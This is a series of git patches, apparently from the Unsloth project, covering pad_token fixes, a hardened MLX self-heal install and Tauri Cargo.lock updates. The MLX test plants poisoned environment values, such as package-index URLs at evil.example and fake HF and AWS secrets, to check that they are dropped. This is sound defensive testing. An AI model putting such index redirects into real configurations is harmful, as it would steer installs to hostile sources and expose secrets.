     if function_name != "__init__":
         return function
+    # Multimodal processors (e.g. Gemma3/Gemma4 Processor) expose pad_token /
+    # eos_token on `.tokenizer`, not on the processor itself. TRL 1.x CPO/ORPO
+    # __init__ defaults `processing_class.pad_token` from `.eos_token` before
+    # tokenizing, which AttributeErrors on such a processor. Route the default
+    # through the inner tokenizer. Older TRL lacks this block, so the sub is a
+    # no-op there and only the pad_token_id fallback below applies.
+    function = re.sub(
+        r"(?m)^([ \t]*)if processing_class\.pad_token is None:\n"
+        r"\1[ \t]+processing_class\.pad_token\s*=\s*processing_class\.eos_token\n",
+        r"\1_unsloth_proc_tok = getattr(processing_class, 'tokenizer', processing_class)\n"
+        r"\1if getattr(_unsloth_proc_tok, 'pad_token', None) is None:\n"
+        r"\1    _unsloth_proc_tok.pad_token = getattr(_unsloth_proc_tok, 'eos_token', None)\n",
+        function,
+        count = 1,
+    )
     if "processing_class.pad_token_id" not in function:
         return function
     return function.replace("processing_class.pad_token_id", _PAD_FALLBACK)
 
 
 RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_processor_pad_token)
+RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_processor_pad_token)
 
 
 # Fix bare pop("push_to_hub_token") in compiled SFT/IterativeSFT trainer __init__

From b91cdc8793eb068446a80a30ed195cebbbeb671e Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 06:29:55 -0700
Subject: [PATCH 076/306] Fix Qwen3 NaN loss: delegate pad_token repair to
 shared unsloth_zoo.pad_token (#6524)

* Fix Qwen3 NaN: self-heal vision pad_token in load_correct_tokenizer

Text-only Qwen3 (and Qwen2.5) models share Qwen3-VL's vocab, so their
Hub tokenizer configs ship <|vision_pad|> as pad_token. Padding text-only
training with a vision token corrupts attention/loss and produces NaN
losses and gradients on affected stacks.

patch_tokenizer already heals this, but only when a model with config is
passed. The standalone load_correct_tokenizer path (and custom training
loops) still returned <|vision_pad|>. This adds a model-independent guard
in load_correct_tokenizer that replaces a vision pad_token on text-only
tokenizers with the first safe text token (<|endoftext|>, <pad>, [PAD],
<unk>), falling back to eos_token only if it differs from pad_token.

The result now matches upstream Qwen configs (pad_token <|endoftext|>,
id 151643) with no new token added. Vision processors (image_processor
present) and non-vision pad tokens (Llama, Qwen2) are left untouched.

Fixes #3155

* Format pad_token helper for ruff kwarg-spacing hook (pre-commit)

* Harden vision pad_token fix: drop unk candidate, guard get_vocab, skip vision eos

* Tighten code comments (no logic change)

* Delegate pad_token fix to shared unsloth_zoo.pad_token

Generalize the narrow _fix_vision_pad_token by delegating to unsloth_zoo's
shared fix_pad_token (single source of truth, AGPL-3.0), which scans the
reserved-token families instead of only the vision-pad case. A guarded import
keeps this working against an older unsloth_zoo that has not shipped the module
yet: on ImportError it falls back to _fix_vision_pad_token.

allow_add=False is passed so the early load_correct_tokenizer call stays
side-effect free (no model here to resize embeddings); the later model-aware
patch_tokenizer call finishes the job and is idempotent.

Adds tests/python/test_pad_token_fix.py covering both dispatch paths offline.
---
 tests/python/test_pad_token_fix.py | 112 +++++++++++++++++++++++++++++
 unsloth/tokenizer_utils.py         |  73 +++++++++++++++++++
 2 files changed, 185 insertions(+)
 create mode 100644 tests/python/test_pad_token_fix.py

diff --git a/tests/python/test_pad_token_fix.py b/tests/python/test_pad_token_fix.py
new file mode 100644
index 0000000000..0366bee67b
--- /dev/null
+++ b/tests/python/test_pad_token_fix.py
@@ -0,0 +1,112 @@
+"""_fix_pad_token dispatch in unsloth/tokenizer_utils.py.
+
+It must delegate to unsloth_zoo's shared fix_pad_token when present (single
+source of truth), and fall back to the narrow vision-token swap against an
+older unsloth_zoo. Static + CPU-only: the two helpers are exec'd in isolation
+so the test never imports torch / transformers / unsloth.
+"""
+
+import ast
+import os
+import sys
+import types
+
+REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", ".."))
+TOK_PATH = os.path.join(REPO_ROOT, "unsloth", "tokenizer_utils.py")
+
+WANTED = {
+    "_VISION_PAD_TOKENS",
+    "_SAFE_TEXT_PAD_TOKENS",
+    "_fix_vision_pad_token",
+    "_fix_pad_token",
+}
+
+
+def _load_pad_helpers():
+    """Exec only the pad-token helpers with a stub logger (no heavy imports)."""
+    tree = ast.parse(open(TOK_PATH).read())
+    nodes = []
+    for node in tree.body:
+        if isinstance(node, ast.Assign):
+            names = {t.id for t in node.targets if isinstance(t, ast.Name)}
+            if names & WANTED:
+                nodes.append(node)
+        elif isinstance(node, ast.FunctionDef) and node.name in WANTED:
+            nodes.append(node)
+    module = ast.Module(body = nodes, type_ignores = [])
+    ast.fix_missing_locations(module)
+    ns = {"logger": types.SimpleNamespace(warning = lambda *a, **k: None)}
+    exec(compile(module, TOK_PATH, "exec"), ns)
+    return ns
+
+
+class FakeTok:
+    def __init__(self, vocab, pad, eos):
+        self._v = dict(vocab)
+        self.pad_token = pad
+        self.eos_token = eos
+
+    @property
+    def pad_token_id(self):
+        return self._v.get(self.pad_token)
+
+    @property
+    def eos_token_id(self):
+        return self._v.get(self.eos_token)
+
+    def get_vocab(self):
+        return dict(self._v)
+
+
+def _block_shared_module(monkeypatch):
+    # Stub parent so importing it is cheap, and mark the submodule absent.
+    monkeypatch.setitem(sys.modules, "unsloth_zoo", types.ModuleType("unsloth_zoo"))
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.pad_token", None)
+
+
+def test_fix_pad_token_none_is_noop():
+    ns = _load_pad_helpers()
+    assert ns["_fix_pad_token"](None) is None
+
+
+def test_fix_pad_token_falls_back_without_shared_module(monkeypatch):
+    ns = _load_pad_helpers()
+    _block_shared_module(monkeypatch)
+    # Qwen3 text tokenizer shipping a vision pad_token -> narrow swap heals it.
+    tok = FakeTok(
+        {"<|endoftext|>": 1, "<|im_end|>": 2, "<|vision_pad|>": 3},
+        pad = "<|vision_pad|>",
+        eos = "<|im_end|>",
+    )
+    ns["_fix_pad_token"](tok)
+    assert tok.pad_token == "<|endoftext|>"
+    assert tok.pad_token != tok.eos_token
+
+
+def test_fallback_leaves_valid_pad_untouched(monkeypatch):
+    ns = _load_pad_helpers()
+    _block_shared_module(monkeypatch)
+    tok = FakeTok({"<s>": 1, "</s>": 2, "<pad>": 0}, pad = "<pad>", eos = "</s>")
+    ns["_fix_pad_token"](tok)
+    assert tok.pad_token == "<pad>"
+
+
+def test_fix_pad_token_delegates_to_shared_module(monkeypatch):
+    ns = _load_pad_helpers()
+    calls = {}
+
+    fake = types.ModuleType("unsloth_zoo.pad_token")
+
+    def fix_pad_token(tokenizer, allow_add = True):
+        calls["allow_add"] = allow_add
+        tokenizer.pad_token = "SHARED"
+
+    fake.fix_pad_token = fix_pad_token
+    monkeypatch.setitem(sys.modules, "unsloth_zoo", types.ModuleType("unsloth_zoo"))
+    monkeypatch.setitem(sys.modules, "unsloth_zoo.pad_token", fake)
+
+    tok = FakeTok({"a": 1}, pad = "x", eos = "y")
+    ns["_fix_pad_token"](tok)
+    # Delegated, and crucially with allow_add=False (no model here to resize).
+    assert tok.pad_token == "SHARED"
+    assert calls["allow_add"] is False
diff --git a/unsloth/tokenizer_utils.py b/unsloth/tokenizer_utils.py
index f454d5c504..3cec002012 100644
--- a/unsloth/tokenizer_utils.py
+++ b/unsloth/tokenizer_utils.py
@@ -626,6 +626,76 @@ def _load_correct_tokenizer(
         return fast_tokenizer
 
 
+# Qwen3 text models share Qwen3-VL's vocab, so configs ship a vision pad_token;
+# padding text-only training with one yields NaN losses (#3155, #4104).
+_VISION_PAD_TOKENS = frozenset(
+    (
+        "<|vision_pad|>",
+        "<|image_pad|>",
+        "<|video_pad|>",
+        "<|audio_pad|>",
+    )
+)
+# Preference order; <unk> excluded since reusing it as pad masks real OOV tokens.
+_SAFE_TEXT_PAD_TOKENS = ("<|endoftext|>", "<pad>", "[PAD]")
+
+
+def _fix_vision_pad_token(tokenizer):
+    """Swap a vision pad_token on a text-only tokenizer for a safe text token (#3155)."""
+    if tokenizer is None:
+        return tokenizer
+    if hasattr(tokenizer, "image_processor"):
+        return tokenizer
+    pad_token = getattr(tokenizer, "pad_token", None)
+    if pad_token is None or pad_token not in _VISION_PAD_TOKENS:
+        return tokenizer
+
+    get_vocab = getattr(tokenizer, "get_vocab", None)
+    if get_vocab is None:
+        return tokenizer
+    vocab = get_vocab()
+    if not isinstance(vocab, dict):
+        return tokenizer
+    new_pad_token = None
+    for candidate in _SAFE_TEXT_PAD_TOKENS:
+        if candidate in vocab and candidate != getattr(tokenizer, "eos_token", None):
+            new_pad_token = candidate
+            break
+    # Fall back to eos_token only if it is a distinct, non-vision token.
+    if new_pad_token is None:
+        eos_token = getattr(tokenizer, "eos_token", None)
+        if eos_token is not None and eos_token != pad_token and eos_token not in _VISION_PAD_TOKENS:
+            new_pad_token = eos_token
+    if new_pad_token is None:
+        return tokenizer
+
+    tokenizer.pad_token = new_pad_token
+    logger.warning(
+        f"Unsloth: pad_token was a vision token ({pad_token}) on a text-only "
+        f"model. Replaced with {new_pad_token} to avoid NaN losses."
+    )
+    return tokenizer
+
+
+def _fix_pad_token(tokenizer):
+    """Heal a bad/missing pad_token before chat-template repair.
+
+    Delegates to unsloth_zoo's shared fix_pad_token (single source of truth) when
+    available, falling back to the narrow vision-token swap against an older
+    unsloth_zoo. allow_add=False keeps this side-effect free: there is no model
+    here to resize embeddings, so a brand new pad token is never added - the later
+    model-aware patch_tokenizer call finishes the job and is idempotent.
+    """
+    if tokenizer is None:
+        return tokenizer
+    try:
+        from unsloth_zoo.pad_token import fix_pad_token
+    except Exception:
+        return _fix_vision_pad_token(tokenizer)
+    fix_pad_token(tokenizer, allow_add = False)
+    return tokenizer
+
+
 def load_correct_tokenizer(
     tokenizer_name,
     model_max_length = None,
@@ -645,6 +715,9 @@ def load_correct_tokenizer(
         fix_tokenizer = fix_tokenizer,
     )
 
+    if fix_tokenizer:
+        _fix_pad_token(tokenizer)
+
     ### 1. Fixup tokenizer's chat_template
     old_chat_template = getattr(tokenizer, "chat_template", None)
 

From 61eef657e855d30ba655eddb194de6a7295f851f Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 23 Jun 2026 07:02:14 -0700
Subject: [PATCH 077/306] Harden MLX self-heal install against supply-chain
 code execution (#6599)

* Harden MLX self-heal install against supply-chain execution

The Apple Silicon MLX self-heal runs uv pip install on a daemon thread
during Studio startup, default-on with only an env opt-out, before the
post-install stack check. Two things widened the supply-chain surface:

- it accepted source distributions, whose PEP 517 build backends run
  arbitrary code at install time; and
- it forwarded the full process environment, exposing Studio secrets to
  that code and letting a poisoned env (UV_FIND_LINKS / UV_DEFAULT_INDEX)
  repoint the install at a hostile source.

Require pre-built wheels (--only-binary=:all:) and forward only an
allowlist of variables uv needs (PATH/HOME, proxy + CA settings, cache
dir), setting UV_OVERRIDE ourselves. mlx/mlx-metal ship wheels only and
mlx-lm/mlx-vlm publish py3-none-any wheels, so a healthy self-heal is
unaffected; an unavailable wheel just leaves Studio chat-only as before.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Drop cache-dir env vars from the self-heal allowlist

Address review: a poisoned process env could set UV_CACHE_DIR / XDG_CACHE_HOME
to redirect uv at an attacker-staged cache (cache poisoning, symlink writes),
which partly undercut the index-redirect protection. Drop them from the
allowlist; uv falls back to its safe user-owned default cache, still reused
across runs, so there is no normal-path cost. Test now asserts both are
excluded from the install env.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/tests/test_mlx_repair.py | 62 +++++++++++++++++++
 studio/backend/utils/mlx_repair.py      | 81 ++++++++++++++++++++++---
 2 files changed, 135 insertions(+), 8 deletions(-)

diff --git a/studio/backend/tests/test_mlx_repair.py b/studio/backend/tests/test_mlx_repair.py
index 7e60c9c3b9..bb8dfce049 100644
--- a/studio/backend/tests/test_mlx_repair.py
+++ b/studio/backend/tests/test_mlx_repair.py
@@ -119,6 +119,68 @@ def test_repair_install_pins_transformers_and_cleans_up(monkeypatch):
     assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt")
 
 
+def test_install_requires_prebuilt_wheels(monkeypatch):
+    # A source distribution's PEP 517 build backend runs arbitrary code at install
+    # time, before the post-install stack check. The unattended self-heal must
+    # require pre-built wheels so a malicious resolver-selected sdist cannot execute
+    # during ordinary Studio startup. mlx/mlx-metal ship wheels only and
+    # mlx-lm/mlx-vlm publish py3-none-any wheels, so a healthy self-heal still works.
+    pytest.importorskip("transformers")
+    captured = {}
+
+    class _Result:
+        returncode = 0
+        stdout = ""
+
+    monkeypatch.setattr(mr, "_uv_executable", lambda: "/usr/bin/uv")
+    monkeypatch.setattr(
+        mr.subprocess, "run", lambda cmd, **k: captured.update(cmd = cmd) or _Result()
+    )
+    monkeypatch.setattr(mr, "mlx_stack_available", lambda: True)
+
+    assert mr.attempt_mlx_repair() is True
+    assert mr._ONLY_BINARY_ARG in captured["cmd"]
+
+
+def test_install_env_drops_secrets_and_source_redirects(monkeypatch):
+    # The unattended self-heal must not hand resolver/build code the full Studio
+    # environment: secrets and package-source redirects are dropped, while the
+    # variables uv genuinely needs are forwarded.
+    monkeypatch.setenv("HF_TOKEN", "secret-hf")
+    monkeypatch.setenv("AWS_SECRET_ACCESS_KEY", "secret-aws")
+    monkeypatch.setenv("WANDB_API_KEY", "secret-wandb")
+    monkeypatch.setenv("UV_FIND_LINKS", "/tmp/evil")
+    monkeypatch.setenv("UV_DEFAULT_INDEX", "file:///tmp/evil-index")
+    monkeypatch.setenv("UV_INDEX_URL", "https://evil.example/simple")
+    monkeypatch.setenv("PIP_INDEX_URL", "https://evil.example/simple")
+    monkeypatch.setenv("UV_CACHE_DIR", "/tmp/evil-cache")
+    monkeypatch.setenv("XDG_CACHE_HOME", "/tmp/evil-xdg-cache")
+    monkeypatch.setenv("PATH", "/usr/bin:/bin")
+    monkeypatch.setenv("HOME", "/home/studio")
+
+    env = mr._mlx_install_env()
+
+    # Secrets never reach a (potentially malicious) build/install hook.
+    for secret in ("HF_TOKEN", "AWS_SECRET_ACCESS_KEY", "WANDB_API_KEY"):
+        assert secret not in env
+    # A poisoned process env cannot repoint the install at a hostile source or
+    # an attacker-staged cache (cache poisoning / symlink writes).
+    for redirect in (
+        "UV_FIND_LINKS",
+        "UV_DEFAULT_INDEX",
+        "UV_INDEX_URL",
+        "PIP_INDEX_URL",
+        "UV_CACHE_DIR",
+        "XDG_CACHE_HOME",
+    ):
+        assert redirect not in env
+    # What uv genuinely needs is still forwarded.
+    assert env["PATH"] == "/usr/bin:/bin"
+    assert env["HOME"] == "/home/studio"
+    # UV_OVERRIDE is set by us (not inherited), so a poisoned one is ignored.
+    assert env.get("UV_OVERRIDE", "").endswith("overrides-darwin-arm64.txt")
+
+
 def test_repair_rejects_inadequate_stack(monkeypatch):
     # A successful uv run that still leaves an old/missing mlx-vlm must NOT clear
     # chat-only: attempt_mlx_repair returns False so Train/Export stay disabled.
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 06d0289166..7e980deb82 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -49,6 +49,56 @@ MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
+# Require pre-built wheels for the unattended self-heal. A source distribution's
+# PEP 517 build backend runs arbitrary code at install time, and this install is
+# default-on, resolver-driven, and runs before the post-install stack check can
+# reject anything. mlx/mlx-metal ship wheels only (no sdist on PyPI) and
+# mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels does not break a
+# healthy self-heal; if a wheel is genuinely unavailable the install fails and
+# Studio stays chat-only (the existing safe fallback) until `unsloth studio update`.
+_ONLY_BINARY_ARG = "--only-binary=:all:"
+# Allowlist of environment variables forwarded to the install subprocess. The
+# self-heal runs without confirmation on the default startup path, so it must not
+# hand resolver/build code the full Studio environment. Everything outside this
+# set is dropped, which excludes three dangerous classes by construction:
+#   * secrets (HF_TOKEN, AWS_*, WANDB_API_KEY, ...) that a malicious wheel/sdist
+#     build hook would otherwise read straight out of os.environ;
+#   * package-source redirects (UV_INDEX*, UV_DEFAULT_INDEX, UV_FIND_LINKS,
+#     PIP_INDEX_URL, ...) so a poisoned process env cannot silently repoint the
+#     install at an attacker-controlled index/find-links;
+#   * cache-dir redirects (UV_CACHE_DIR, XDG_CACHE_HOME) so a poisoned env cannot
+#     point uv at an attacker-staged cache (cache poisoning / symlink writes). uv
+#     falls back to its safe user-owned default cache, reused across runs anyway.
+# uv still honours on-disk config (uv.toml / pip.conf), so a corporate mirror
+# configured there keeps working; only process-env redirects are dropped. We set
+# UV_OVERRIDE ourselves in _mlx_install_env, so a poisoned one here is ignored.
+_MLX_ENV_ALLOWLIST = frozenset(
+    {
+        "PATH",
+        "HOME",
+        "USER",
+        "LOGNAME",
+        "TMPDIR",
+        "TMP",
+        "TEMP",
+        "LANG",
+        "LC_ALL",
+        "LC_CTYPE",
+        # proxies + custom CA bundles so installs behind a corporate gateway work
+        "HTTP_PROXY",
+        "HTTPS_PROXY",
+        "NO_PROXY",
+        "ALL_PROXY",
+        "http_proxy",
+        "https_proxy",
+        "no_proxy",
+        "all_proxy",
+        "SSL_CERT_FILE",
+        "SSL_CERT_DIR",
+        "REQUESTS_CA_BUNDLE",
+        "CURL_CA_BUNDLE",
+    }
+)
 _REPAIR_TIMEOUT_S = 900
 
 # Attempt at most once per process; success is sticky (mlx then imports and the
@@ -134,13 +184,22 @@ def _uv_install_cmd(*args: str) -> list[str] | None:
 
 
 def _mlx_install_env() -> dict[str, str]:
-    """Environment for the mlx install. Mirror the main installer
-    (install_python_stack.py) by pointing UV_OVERRIDE at overrides-darwin-arm64.txt,
-    which relaxes mlx-vlm/mlx-lm's transformers>=5 requirement to >=4.57.6. Without
-    it, uv keeps the Studio transformers pin only by silently backtracking mlx-vlm
-    to an old, unsupported version (uv honours UV_OVERRIDE; plain pip ignores it,
-    so the transformers constraint below is the pip-path safety net)."""
-    env = dict(os.environ)
+    """Minimal, allowlisted environment for the unattended mlx install.
+
+    The self-heal runs without confirmation on the default startup path, so it
+    forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead
+    of the full Studio environment: secrets and package-source redirects in
+    os.environ are dropped so a malicious resolver-selected artifact cannot read
+    Studio secrets or be steered to a hostile index.
+
+    Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at
+    overrides-darwin-arm64.txt, which relaxes mlx-vlm/mlx-lm's transformers>=5
+    requirement to >=4.57.6. Without it, uv keeps the Studio transformers pin only
+    by silently backtracking mlx-vlm to an old, unsupported version (uv honours
+    UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the
+    pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the
+    process env is ignored."""
+    env = {key: os.environ[key] for key in _MLX_ENV_ALLOWLIST if key in os.environ}
     override = (
         Path(__file__).resolve().parents[1]
         / "requirements"
@@ -191,7 +250,13 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:
     constraint_path = None
     try:
         constraint_args, constraint_path = _transformers_constraint_args()
-        cmd = _uv_install_cmd("--upgrade", *_MLX_REINSTALL_ARGS, *constraint_args, *MLX_PACKAGES)
+        cmd = _uv_install_cmd(
+            "--upgrade",
+            _ONLY_BINARY_ARG,
+            *_MLX_REINSTALL_ARGS,
+            *constraint_args,
+            *MLX_PACKAGES,
+        )
         if cmd is None:
             logger.warning(
                 "MLX self-heal requires uv so Studio can apply dependency overrides; "

From 8aa27f6db3ee61ac75a11e9251be5e5c2d94569f Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Tue, 23 Jun 2026 16:15:00 +0200
Subject: [PATCH 078/306] Update safe Studio Tauri cargo dependencies (#6612)

---
 studio/src-tauri/Cargo.lock                  | 209 +++++++++++++------
 studio/src-tauri/Cargo.toml                  |   8 +-
 studio/src-tauri/src/native_backend_lease.rs |   2 +-
 3 files changed, 152 insertions(+), 67 deletions(-)

diff --git a/studio/src-tauri/Cargo.lock b/studio/src-tauri/Cargo.lock
index c964946d0e..183cfc1cc8 100644
--- a/studio/src-tauri/Cargo.lock
+++ b/studio/src-tauri/Cargo.lock
@@ -294,6 +294,15 @@ dependencies = [
  "generic-array",
 ]
 
+[[package]]
+name = "block-buffer"
+version = "0.12.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "d2f6c7dbe95a6ed67ad9f18e57daf93a2f034c524b99fd2b76d18fdfeb6660aa"
+dependencies = [
+ "hybrid-array",
+]
+
 [[package]]
 name = "block2"
 version = "0.6.2"
@@ -518,6 +527,12 @@ dependencies = [
  "error-code",
 ]
 
+[[package]]
+name = "cmov"
+version = "0.5.4"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0c9ea0ac24bc397ab3c98583a3c9ba74fa56b09a4449bbe172b9b1ddb016027a"
+
 [[package]]
 name = "combine"
 version = "4.6.7"
@@ -537,6 +552,12 @@ dependencies = [
  "crossbeam-utils",
 ]
 
+[[package]]
+name = "const-oid"
+version = "0.10.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a6ef517f0926dd24a1582492c791b6a4818a4d94e789a334894aa15b0d12f55c"
+
 [[package]]
 name = "convert_case"
 version = "0.4.0"
@@ -661,6 +682,15 @@ dependencies = [
  "typenum",
 ]
 
+[[package]]
+name = "crypto-common"
+version = "0.2.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ce6e4c961d6cd6c9a86db418387425e8bdeaf05b3c8bc1411e6dca4c252f1453"
+dependencies = [
+ "hybrid-array",
+]
+
 [[package]]
 name = "cssparser"
 version = "0.29.6"
@@ -717,6 +747,15 @@ version = "0.0.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "52560adf09603e58c9a7ee1fe1dcb95a16927b17c127f0ac02d6e768a0e25bc1"
 
+[[package]]
+name = "ctutils"
+version = "0.4.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "7d5515a3834141de9eafb9717ad39eea8247b5674e6066c404e8c4b365d2a29e"
+dependencies = [
+ "cmov",
+]
+
 [[package]]
 name = "darling"
 version = "0.23.0"
@@ -823,9 +862,20 @@ version = "0.10.7"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "9ed9a281f7bc9b7576e61468ba615a66a5c8cfdff42420a70aa82701a3b1e292"
 dependencies = [
- "block-buffer",
- "crypto-common",
- "subtle",
+ "block-buffer 0.10.4",
+ "crypto-common 0.1.7",
+]
+
+[[package]]
+name = "digest"
+version = "0.11.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "f1dd6dbb5841937940781866fa1281a1ff7bd3bf827091440879f9994983d5c2"
+dependencies = [
+ "block-buffer 0.12.1",
+ "const-oid",
+ "crypto-common 0.2.2",
+ "ctutils",
 ]
 
 [[package]]
@@ -846,7 +896,7 @@ dependencies = [
  "libc",
  "option-ext",
  "redox_users",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1061,7 +1111,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "39cab71617ae0d63f51a36d69f866391735b51691dbda63cf6f96d042b63efeb"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -1729,11 +1779,11 @@ checksum = "7f24254aa9a54b5c858eaee2f5bccdb46aaf0e486a595ed5fd8f86ba55232a70"
 
 [[package]]
 name = "hmac"
-version = "0.12.1"
+version = "0.13.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "6c49c37c09c17a53d937dfbb742eb3a961d65a994e6bcdcf37e7399d0cc8ab5e"
+checksum = "6303bc9732ae41b04cb554b844a762b4115a61bfaa81e3e83050991eeb56863f"
 dependencies = [
- "digest",
+ "digest 0.11.3",
 ]
 
 [[package]]
@@ -1806,6 +1856,15 @@ version = "1.10.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6dbf3de79e51f3d586ab4cb9d5c3e2c14aa28ed23d180cf89b4df0454a69cc87"
 
+[[package]]
+name = "hybrid-array"
+version = "0.4.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9155a582abd142abc056962c29e3ce5ff2ad5469f4246b537ed42c5deba857da"
+dependencies = [
+ "typenum",
+]
+
 [[package]]
 name = "hyper"
 version = "1.8.1"
@@ -2274,9 +2333,9 @@ dependencies = [
 
 [[package]]
 name = "libc"
-version = "0.2.183"
+version = "0.2.186"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "b5b646652bf6661599e1da8901b3b9522896f01e736bad5f723fe7a3a27f899d"
+checksum = "68ab91017fe16c622486840e4c83c9a37afeff978bd239b5293d61ece587de66"
 
 [[package]]
 name = "libdbus-sys"
@@ -2332,9 +2391,9 @@ dependencies = [
 
 [[package]]
 name = "log"
-version = "0.4.29"
+version = "0.4.32"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5e5032e24019045c762d3c0f28f5b6b8bbf38563a65908389bf7978758920897"
+checksum = "953f07c43838f8e6f9758cab68bf5bed85465e7587ebe0b823f1bcd81978ad3a"
 
 [[package]]
 name = "mac"
@@ -2435,9 +2494,9 @@ dependencies = [
 
 [[package]]
 name = "mio"
-version = "1.1.1"
+version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "a69bcab0ad47271a0234d9422b131806bf3968021e5dc9328caf2d4cd58557fc"
+checksum = "02bd0af71c67b473010cbbc60715ee815645a4dc942899111f494b4b737d6fda"
 dependencies = [
  "libc",
  "wasi 0.11.1+wasi-snapshot-preview1",
@@ -2472,7 +2531,7 @@ dependencies = [
  "png 0.18.1",
  "serde",
  "thiserror 2.0.18",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -2902,7 +2961,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "7d8fae84b431384b68627d0f9b3b1245fcf9f46f6c0e3dc902e9dce64edd1967"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.45.0",
 ]
 
 [[package]]
@@ -3621,9 +3680,9 @@ dependencies = [
 
 [[package]]
 name = "regex"
-version = "1.12.3"
+version = "1.12.4"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "e10754a14b9137dd7b1e3e5b0493cc9171fdd105e0ab477f51b72e7f3ac0e276"
+checksum = "f1292b7759ae1cb9ec195452d1390a074f0cd8541ab7a5a8c31cd6db45d4a6ba"
 dependencies = [
  "aho-corasick",
  "memchr",
@@ -3644,9 +3703,9 @@ dependencies = [
 
 [[package]]
 name = "regex-syntax"
-version = "0.8.10"
+version = "0.8.11"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "dc897dd8d9e8bd1ed8cdad82b5966c3e0ecae09fb1907d58efaa013543185d0a"
+checksum = "d6f6ff9a378485b298a5286656da665ba74413d36db0979633275d2e708145d4"
 
 [[package]]
 name = "reqwest"
@@ -3790,7 +3849,7 @@ dependencies = [
  "errno",
  "libc",
  "linux-raw-sys",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -3846,7 +3905,7 @@ dependencies = [
  "security-framework",
  "security-framework-sys",
  "webpki-root-certs",
- "windows-sys 0.61.2",
+ "windows-sys 0.59.0",
 ]
 
 [[package]]
@@ -4078,9 +4137,9 @@ dependencies = [
 
 [[package]]
 name = "serde_json"
-version = "1.0.149"
+version = "1.0.150"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86"
+checksum = "e8014e44b4736ed0538adeecded0fce2a272f22dc9578a7eb6b2d9993c74cfb9"
 dependencies = [
  "itoa",
  "memchr",
@@ -4111,9 +4170,9 @@ dependencies = [
 
 [[package]]
 name = "serde_spanned"
-version = "1.0.4"
+version = "1.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "f8bbf91e5a4d6315eee45e704372590b30e260ee83af6639d64557f51b067776"
+checksum = "6662b5879511e06e8999a8a235d848113e942c9124f211511b16466ee2995f26"
 dependencies = [
  "serde_core",
 ]
@@ -4210,7 +4269,18 @@ checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283"
 dependencies = [
  "cfg-if",
  "cpufeatures 0.2.17",
- "digest",
+ "digest 0.10.7",
+]
+
+[[package]]
+name = "sha2"
+version = "0.11.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "446ba717509524cb3f22f17ecc096f10f4822d76ab5c0b9822c5f9c284e825f4"
+dependencies = [
+ "cfg-if",
+ "cpufeatures 0.3.0",
+ "digest 0.11.3",
 ]
 
 [[package]]
@@ -4277,7 +4347,7 @@ source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e"
 dependencies = [
  "libc",
- "windows-sys 0.61.2",
+ "windows-sys 0.60.2",
 ]
 
 [[package]]
@@ -4561,9 +4631,9 @@ checksum = "61c41af27dd6d1e27b1b16b489db798443478cef1f06a660c96db617ba5de3b1"
 
 [[package]]
 name = "tauri"
-version = "2.11.1"
+version = "2.11.2"
